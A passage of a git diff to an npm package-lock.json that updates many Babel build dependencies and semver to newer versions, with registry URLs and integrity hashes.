"sha512-PuxUbxcW6ZYe656yL3EAhpy7qXKq0DmYsrJLpbB8XrsCP9Nm+XCg9XFMb5vIDliPD7+U/+M+QJlH17XOcB7eXA==", + "version": "7.22.20", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.22.20.tgz", + "integrity": "sha512-Y6jd1ahLubuYweD/zJH+vvOY141v4f9igNQAQ+MBgq9JlHS2iTsZKn1aMsb3vGccZsXI16VzTBw52Xx0DWmtnA==", "dev": true, "dependencies": { "@ampproject/remapping": "^2.2.0", - "@babel/code-frame": "^7.18.6", - "@babel/generator": "^7.21.0", - "@babel/helper-compilation-targets": "^7.20.7", - "@babel/helper-module-transforms": "^7.21.0", - "@babel/helpers": "^7.21.0", - "@babel/parser": "^7.21.0", - "@babel/template": "^7.20.7", - "@babel/traverse": "^7.21.0", - "@babel/types": "^7.21.0", + "@babel/code-frame": "^7.22.13", + "@babel/generator": "^7.22.15", + "@babel/helper-compilation-targets": "^7.22.15", + "@babel/helper-module-transforms": "^7.22.20", + "@babel/helpers": "^7.22.15", + "@babel/parser": "^7.22.16", + "@babel/template": "^7.22.15", + "@babel/traverse": "^7.22.20", + "@babel/types": "^7.22.19", "convert-source-map": "^1.7.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", - "json5": "^2.2.2", - "semver": "^6.3.0" + "json5": "^2.2.3", + "semver": "^6.3.1" }, "engines": { "node": ">=6.9.0" @@ -205,48 +219,48 @@ } }, "node_modules/@babel/core/node_modules/semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", "dev": true, "bin": { "semver": "bin/semver.js" } }, "node_modules/@babel/eslint-parser": { - "version": "7.19.1", - "resolved": "https://registry.npmjs.org/@babel/eslint-parser/-/eslint-parser-7.19.1.tgz", - "integrity": "sha512-AqNf2QWt1rtu2/1rLswy6CDP7H9Oh3mMhk177Y67Rg8d7RD9WfOLLv8CGn6tisFvS2htm86yIe1yLF6I1UDaGQ==", + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/eslint-parser/-/eslint-parser-7.22.15.tgz", + "integrity": "sha512-yc8OOBIQk1EcRrpizuARSQS0TWAcOMpEJ1aafhNznaeYkeL+OhqnDObGFylB8ka8VFF/sZc+S4RzHyO+3LjQxg==", "dev": true, "dependencies": { "@nicolo-ribaudo/eslint-scope-5-internals": "5.1.1-v1", "eslint-visitor-keys": "^2.1.0", - "semver": "^6.3.0" + "semver": "^6.3.1" }, "engines": { "node": "^10.13.0 || ^12.13.0 || >=14.0.0" }, "peerDependencies": { - "@babel/core": ">=7.11.0", + "@babel/core": "^7.11.0", "eslint": "^7.5.0 || ^8.0.0" } }, "node_modules/@babel/eslint-parser/node_modules/semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", "dev": true, "bin": { "semver": "bin/semver.js" } }, "node_modules/@babel/generator": { - "version": "7.21.1", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.21.1.tgz", - "integrity": "sha512-1lT45bAYlQhFn/BHivJs43AiW2rg3/UbLyShGfF3C0KmHvO5fSghWd5kBJy30kpRRucGzXStvnnCFniCR2kXAA==", + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.22.15.tgz", + "integrity": "sha512-Zu9oWARBqeVOW0dZOjXc3JObrzuqothQ3y/n1kUtrjCoCPLkXUwMvOo/F/TCfoHMbWIFlWwpZtkZVb9ga4U2pA==", "dev": true, "dependencies": { - "@babel/types": "^7.21.0", + "@babel/types": "^7.22.15", "@jridgewell/gen-mapping": "^0.3.2", "@jridgewell/trace-mapping": "^0.3.17", "jsesc": "^2.5.1" @@ -255,87 +269,70 @@ "node": ">=6.9.0" } }, - "node_modules/@babel/generator/node_modules/@jridgewell/gen-mapping": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.2.tgz", - "integrity": "sha512-mh65xKQAzI6iBcFzwv28KVWSmCkdRBWoOh+bYQGW3+6OZvbbN3TqMGo5hqYxQniRcH9F2VZIoJCm4pa3BPDK/A==", - "dev": true, - "dependencies": { - "@jridgewell/set-array": "^1.0.1", - "@jridgewell/sourcemap-codec": "^1.4.10", - "@jridgewell/trace-mapping": "^0.3.9" - }, - "engines": { - "node": ">=6.0.0" - } - }, "node_modules/@babel/helper-annotate-as-pure": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.18.6.tgz", - "integrity": "sha512-duORpUiYrEpzKIop6iNbjnwKLAKnJ47csTyRACyEmWj0QdUrm5aqNJGHSSEQSUAvNW0ojX0dOmK9dZduvkfeXA==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.22.5.tgz", + "integrity": "sha512-LvBTxu8bQSQkcyKOU+a1btnNFQ1dMAd0R6PyW3arXes06F6QLWLIrd681bxRPIXlrMGR3XYnW9JyML7dP3qgxg==", "dev": true, "dependencies": { - "@babel/types": "^7.18.6" + "@babel/types": "^7.22.5" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-builder-binary-assignment-operator-visitor": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.18.9.tgz", - "integrity": "sha512-yFQ0YCHoIqarl8BCRwBL8ulYUaZpz3bNsA7oFepAzee+8/+ImtADXNOmO5vJvsPff3qi+hvpkY/NYBTrBQgdNw==", + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.22.15.tgz", + "integrity": "sha512-QkBXwGgaoC2GtGZRoma6kv7Szfv06khvhFav67ZExau2RaXzy8MpHSMO2PNoP2XtmQphJQRHFfg77Bq731Yizw==", "dev": true, "dependencies": { - "@babel/helper-explode-assignable-expression": "^7.18.6", - "@babel/types": "^7.18.9" + "@babel/types": "^7.22.15" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-compilation-targets": { - "version": "7.20.7", - "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.20.7.tgz", - "integrity": "sha512-4tGORmfQcrc+bvrjb5y3dG9Mx1IOZjsHqQVUz7XCNHO+iTmqxWnVg3KRygjGmpRLJGdQSKuvFinbIb0CnZwHAQ==", + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.22.15.tgz", + "integrity": "sha512-y6EEzULok0Qvz8yyLkCvVX+02ic+By2UdOhylwUOvOn9dvYc9mKICJuuU1n1XBI02YWsNsnrY1kc6DVbjcXbtw==", "dev": true, "dependencies": { - "@babel/compat-data": "^7.20.5", - "@babel/helper-validator-option": "^7.18.6", - "browserslist": "^4.21.3", + "@babel/compat-data": "^7.22.9", + "@babel/helper-validator-option": "^7.22.15", + "browserslist": "^4.21.9", "lru-cache": "^5.1.1", - "semver": "^6.3.0" + "semver": "^6.3.1" }, "engines": { "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0" } }, "node_modules/@babel/helper-compilation-targets/node_modules/semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", "dev": true, "bin": { "semver": "bin/semver.js" } }, "node_modules/@babel/helper-create-class-features-plugin": { - "version": "7.21.0", - "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.21.0.tgz", - "integrity": "sha512-Q8wNiMIdwsv5la5SPxNYzzkPnjgC0Sy0i7jLkVOCdllu/xcVNkr3TeZzbHBJrj+XXRqzX5uCyCoV9eu6xUG7KQ==", + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.22.15.tgz", + "integrity": "sha512-jKkwA59IXcvSaiK2UN45kKwSC9o+KuoXsBDvHvU/7BecYIp8GQ2UwrVvFgJASUT+hBnwJx6MhvMCuMzwZZ7jlg==", "dev": true, "dependencies": { - "@babel/helper-annotate-as-pure": "^7.18.6", - "@babel/helper-environment-visitor": "^7.18.9", - "@babel/helper-function-name": "^7.21.0", - "@babel/helper-member-expression-to-functions": "^7.21.0", - "@babel/helper-optimise-call-expression": "^7.18.6", - "@babel/helper-replace-supers": "^7.20.7", - "@babel/helper-skip-transparent-expression-wrappers": "^7.20.0", - "@babel/helper-split-export-declaration": "^7.18.6" + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-member-expression-to-functions": "^7.22.15", + "@babel/helper-optimise-call-expression": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.9", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "semver": "^6.3.1" }, "engines": { "node": ">=6.9.0" @@ -344,14 +341,24 @@ "@babel/core": "^7.0.0" } }, + "node_modules/@babel/helper-create-class-features-plugin/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, "node_modules/@babel/helper-create-regexp-features-plugin": { - "version": "7.21.0", - "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.21.0.tgz", - "integrity": "sha512-N+LaFW/auRSWdx7SHD/HiARwXQju1vXTW4fKr4u5SgBUTm51OKEjKgj+cs00ggW3kEvNqwErnlwuq7Y3xBe4eg==", + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.22.15.tgz", + "integrity": "sha512-29FkPLFjn4TPEa3RE7GpW+qbE8tlsu3jntNYNfcGsc49LphF1PQIiD+vMZ1z1xVOKt+93khA9tc2JBs3kBjA7w==", "dev": true, "dependencies": { - "@babel/helper-annotate-as-pure": "^7.18.6", - "regexpu-core": "^5.3.1" + "@babel/helper-annotate-as-pure": "^7.22.5", + "regexpu-core": "^5.3.1", + "semver": "^6.3.1" }, "engines": { "node": ">=6.9.0" @@ -360,151 +367,137 @@ "@babel/core": "^7.0.0" } }, + "node_modules/@babel/helper-create-regexp-features-plugin/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, "node_modules/@babel/helper-define-polyfill-provider": { - "version": "0.3.3", - "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.3.3.tgz", - "integrity": "sha512-z5aQKU4IzbqCC1XH0nAqfsFLMVSo22SBKUc0BxGrLkolTdPTructy0ToNnlO2zA4j9Q/7pjMZf0DSY+DSTYzww==", + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.4.2.tgz", + "integrity": "sha512-k0qnnOqHn5dK9pZpfD5XXZ9SojAITdCKRn2Lp6rnDGzIbaP0rHyMPk/4wsSxVBVz4RfN0q6VpXWP2pDGIoQ7hw==", "dev": true, "dependencies": { - "@babel/helper-compilation-targets": "^7.17.7", - "@babel/helper-plugin-utils": "^7.16.7", + "@babel/helper-compilation-targets": "^7.22.6", + "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", - "resolve": "^1.14.2", - "semver": "^6.1.2" + "resolve": "^1.14.2" }, "peerDependencies": { - "@babel/core": "^7.4.0-0" - } - }, - "node_modules/@babel/helper-define-polyfill-provider/node_modules/semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", - "dev": true, - "bin": { - "semver": "bin/semver.js" + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "node_modules/@babel/helper-environment-visitor": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.18.9.tgz", - "integrity": "sha512-3r/aACDJ3fhQ/EVgFy0hpj8oHyHpQc+LPtJoY9SzTThAsStm4Ptegq92vqKoE3vD706ZVFWITnMnxucw+S9Ipg==", - "dev": true, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-explode-assignable-expression": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.18.6.tgz", - "integrity": "sha512-eyAYAsQmB80jNfg4baAtLeWAQHfHFiR483rzFK+BhETlGZaQC9bsfrugfXDCbRHLQbIA7U5NxhhOxN7p/dWIcg==", + "version": "7.22.20", + "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.22.20.tgz", + "integrity": "sha512-zfedSIzFhat/gFhWfHtgWvlec0nqB9YEIVrpuwjruLlXfUSnA8cJB0miHKwqDnQ7d32aKo2xt88/xZptwxbfhA==", "dev": true, - "dependencies": { - "@babel/types": "^7.18.6" - }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-function-name": { - "version": "7.21.0", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.21.0.tgz", - "integrity": "sha512-HfK1aMRanKHpxemaY2gqBmL04iAPOPRj7DxtNbiDOrJK+gdwkiNRVpCpUJYbUT+aZyemKN8brqTOxzCaG6ExRg==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.22.5.tgz", + "integrity": "sha512-wtHSq6jMRE3uF2otvfuD3DIvVhOsSNshQl0Qrd7qC9oQJzHvOL4qQXlQn2916+CXGywIjpGuIkoyZRRxHPiNQQ==", "dev": true, "dependencies": { - "@babel/template": "^7.20.7", - "@babel/types": "^7.21.0" + "@babel/template": "^7.22.5", + "@babel/types": "^7.22.5" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-hoist-variables": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.18.6.tgz", - "integrity": "sha512-UlJQPkFqFULIcyW5sbzgbkxn2FKRgwWiRexcuaR8RNJRy8+LLveqPjwZV/bwrLZCN0eUHD/x8D0heK1ozuoo6Q==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.22.5.tgz", + "integrity": "sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw==", "dev": true, "dependencies": { - "@babel/types": "^7.18.6" + "@babel/types": "^7.22.5" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-member-expression-to-functions": { - "version": "7.21.0", - "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.21.0.tgz", - "integrity": "sha512-Muu8cdZwNN6mRRNG6lAYErJ5X3bRevgYR2O8wN0yn7jJSnGDu6eG59RfT29JHxGUovyfrh6Pj0XzmR7drNVL3Q==", + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.22.15.tgz", + "integrity": "sha512-qLNsZbgrNh0fDQBCPocSL8guki1hcPvltGDv/NxvUoABwFq7GkKSu1nRXeJkVZc+wJvne2E0RKQz+2SQrz6eAA==", "dev": true, "dependencies": { - "@babel/types": "^7.21.0" + "@babel/types": "^7.22.15" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-module-imports": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.18.6.tgz", - "integrity": "sha512-0NFvs3VkuSYbFi1x2Vd6tKrywq+z/cLeYC/RJNFrIX/30Bf5aiGYbtvGXolEktzJH8o5E5KJ3tT+nkxuuZFVlA==", + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.22.15.tgz", + "integrity": "sha512-0pYVBnDKZO2fnSPCrgM/6WMc7eS20Fbok+0r88fp+YtWVLZrp4CkafFGIp+W0VKw4a22sgebPT99y+FDNMdP4w==", "dependencies": { - "@babel/types": "^7.18.6" + "@babel/types": "^7.22.15" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-module-transforms": { - "version": "7.21.2", - "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.21.2.tgz", - "integrity": "sha512-79yj2AR4U/Oqq/WOV7Lx6hUjau1Zfo4cI+JLAVYeMV5XIlbOhmjEk5ulbTc9fMpmlojzZHkUUxAiK+UKn+hNQQ==", + "version": "7.22.20", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.22.20.tgz", + "integrity": "sha512-dLT7JVWIUUxKOs1UnJUBR3S70YK+pKX6AbJgB2vMIvEkZkrfJDbYDJesnPshtKV4LhDOR3Oc5YULeDizRek+5A==", "dev": true, "dependencies": { - "@babel/helper-environment-visitor": "^7.18.9", - "@babel/helper-module-imports": "^7.18.6", - "@babel/helper-simple-access": "^7.20.2", - "@babel/helper-split-export-declaration": "^7.18.6", - "@babel/helper-validator-identifier": "^7.19.1", - "@babel/template": "^7.20.7", - "@babel/traverse": "^7.21.2", - "@babel/types": "^7.21.2" + "@babel/helper-environment-visitor": "^7.22.20", + "@babel/helper-module-imports": "^7.22.15", + "@babel/helper-simple-access": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "@babel/helper-validator-identifier": "^7.22.20" }, "engines": { "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" } }, "node_modules/@babel/helper-optimise-call-expression": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.18.6.tgz", - "integrity": "sha512-HP59oD9/fEHQkdcbgFCnbmgH5vIQTJbxh2yf+CdM89/glUNnuzr87Q8GIjGEnOktTROemO0Pe0iPAYbqZuOUiA==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.22.5.tgz", + "integrity": "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw==", "dev": true, "dependencies": { - "@babel/types": "^7.18.6" + "@babel/types": "^7.22.5" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-plugin-utils": { - "version": "7.20.2", - "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.20.2.tgz", - "integrity": "sha512-8RvlJG2mj4huQ4pZ+rU9lqKi9ZKiRmuvGuM2HlWmkmgOhbs6zEAw6IEiJ5cQqGbDzGZOhwuOQNtZMi/ENLjZoQ==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.22.5.tgz", + "integrity": "sha512-uLls06UVKgFG9QD4OeFYLEGteMIAa5kpTPcFL28yuCIIzsf6ZyKZMllKVOCZFhiZ5ptnwX4mtKdWCBE/uT4amg==", "dev": true, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-remap-async-to-generator": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.18.9.tgz", - "integrity": "sha512-dI7q50YKd8BAv3VEfgg7PS7yD3Rtbi2J1XMXaalXO0W0164hYLnh8zpjRS0mte9MfVp/tltvr/cfdXPvJr1opA==", + "version": "7.22.20", + "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.22.20.tgz", + "integrity": "sha512-pBGyV4uBqOns+0UvhsTO8qgl8hO89PmiDYv+/COyp1aeMcmfrfruz+/nCMFiYyFF/Knn0yfrC85ZzNFjembFTw==", "dev": true, "dependencies": { - "@babel/helper-annotate-as-pure": "^7.18.6", - "@babel/helper-environment-visitor": "^7.18.9", - "@babel/helper-wrap-function": "^7.18.9", - "@babel/types": "^7.18.9" + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-environment-visitor": "^7.22.20", + "@babel/helper-wrap-function": "^7.22.20" }, "engines": { "node": ">=6.9.0" @@ -514,119 +507,118 @@ } }, "node_modules/@babel/helper-replace-supers": { - "version": "7.20.7", - "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.20.7.tgz", - "integrity": "sha512-vujDMtB6LVfNW13jhlCrp48QNslK6JXi7lQG736HVbHz/mbf4Dc7tIRh1Xf5C0rF7BP8iiSxGMCmY6Ci1ven3A==", + "version": "7.22.20", + "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.22.20.tgz", + "integrity": "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw==", "dev": true, "dependencies": { - "@babel/helper-environment-visitor": "^7.18.9", - "@babel/helper-member-expression-to-functions": "^7.20.7", - "@babel/helper-optimise-call-expression": "^7.18.6", - "@babel/template": "^7.20.7", - "@babel/traverse": "^7.20.7", - "@babel/types": "^7.20.7" + "@babel/helper-environment-visitor": "^7.22.20", + "@babel/helper-member-expression-to-functions": "^7.22.15", + "@babel/helper-optimise-call-expression": "^7.22.5" }, "engines": { "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" } }, "node_modules/@babel/helper-simple-access": { - "version": "7.20.2", - "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.20.2.tgz", - "integrity": "sha512-+0woI/WPq59IrqDYbVGfshjT5Dmk/nnbdpcF8SnMhhXObpTq2KNBdLFRFrkVdbDOyUmHBCxzm5FHV1rACIkIbA==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.22.5.tgz", + "integrity": "sha512-n0H99E/K+Bika3++WNL17POvo4rKWZ7lZEp1Q+fStVbUi8nxPQEBOlTmCOxW/0JsS56SKKQ+ojAe2pHKJHN35w==", "dev": true, "dependencies": { - "@babel/types": "^7.20.2" + "@babel/types": "^7.22.5" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-skip-transparent-expression-wrappers": { - "version": "7.20.0", - "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.20.0.tgz", - "integrity": "sha512-5y1JYeNKfvnT8sZcK9DVRtpTbGiomYIHviSP3OQWmDPU3DeH4a1ZlT/N2lyQ5P8egjcRaT/Y9aNqUxK0WsnIIg==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.22.5.tgz", + "integrity": "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q==", "dev": true, "dependencies": { - "@babel/types": "^7.20.0" + "@babel/types": "^7.22.5" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-split-export-declaration": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.18.6.tgz", - "integrity": "sha512-bde1etTx6ZyTmobl9LLMMQsaizFVZrquTEHOqKeQESMKo4PlObf+8+JA25ZsIpZhT/WEd39+vOdLXAFG/nELpA==", + "version": "7.22.6", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.22.6.tgz", + "integrity": "sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g==", "dev": true, "dependencies": { - "@babel/types": "^7.18.6" + "@babel/types": "^7.22.5" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-string-parser": { - "version": "7.19.4", - "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.19.4.tgz", - "integrity": "sha512-nHtDoQcuqFmwYNYPz3Rah5ph2p8PFeFCsZk9A/48dPc/rGocJ5J3hAAZ7pb76VWX3fZKu+uEr/FhH5jLx7umrw==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.22.5.tgz", + "integrity": "sha512-mM4COjgZox8U+JcXQwPijIZLElkgEpO5rsERVDJTc2qfCDfERyob6k5WegS14SX18IIjv+XD+GrqNumY5JRCDw==", "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-validator-identifier": { - "version": "7.19.1", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.19.1.tgz", - "integrity": "sha512-awrNfaMtnHUr653GgGEs++LlAvW6w+DcPrOliSMXWCKo597CwL5Acf/wWdNkf/tfEQE3mjkeD1YOVZOUV/od1w==", + "version": "7.22.20", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.20.tgz", + "integrity": "sha512-Y4OZ+ytlatR8AI+8KZfKuL5urKp7qey08ha31L8b3BwewJAoJamTzyvxPR/5D+KkdJCGPq/+8TukHBlY10FX9A==", "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-validator-option": { - "version": "7.21.0", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.21.0.tgz", - "integrity": "sha512-rmL/B8/f0mKS2baE9ZpyTcTavvEuWhTTW8amjzXNvYG4AwBsqTLikfXsEofsJEfKHf+HQVQbFOHy6o+4cnC/fQ==", + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.22.15.tgz", + "integrity": "sha512-bMn7RmyFjY/mdECUbgn9eoSY4vqvacUnS9i9vGAGttgFWesO6B4CYWA7XlpbWgBt71iv/hfbPlynohStqnu5hA==", "dev": true, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-wrap-function": { - "version": "7.20.5", - "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.20.5.tgz", - "integrity": "sha512-bYMxIWK5mh+TgXGVqAtnu5Yn1un+v8DDZtqyzKRLUzrh70Eal2O3aZ7aPYiMADO4uKlkzOiRiZ6GX5q3qxvW9Q==", + "version": "7.22.20", + "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.22.20.tgz", + "integrity": "sha512-pms/UwkOpnQe/PDAEdV/d7dVCoBbB+R4FvYoHGZz+4VPcg7RtYy2KP7S2lbuWM6FCSgob5wshfGESbC/hzNXZw==", "dev": true, "dependencies": { - "@babel/helper-function-name": "^7.19.0", - "@babel/template": "^7.18.10", - "@babel/traverse": "^7.20.5", - "@babel/types": "^7.20.5" + "@babel/helper-function-name": "^7.22.5", + "@babel/template": "^7.22.15", + "@babel/types": "^7.22.19" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helpers": { - "version": "7.21.0", - "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.21.0.tgz", - "integrity": "sha512-XXve0CBtOW0pd7MRzzmoyuSj0e3SEzj8pgyFxnTT1NJZL38BD1MK7yYrm8yefRPIDvNNe14xR4FdbHwpInD4rA==", + "version": "7.22.15", 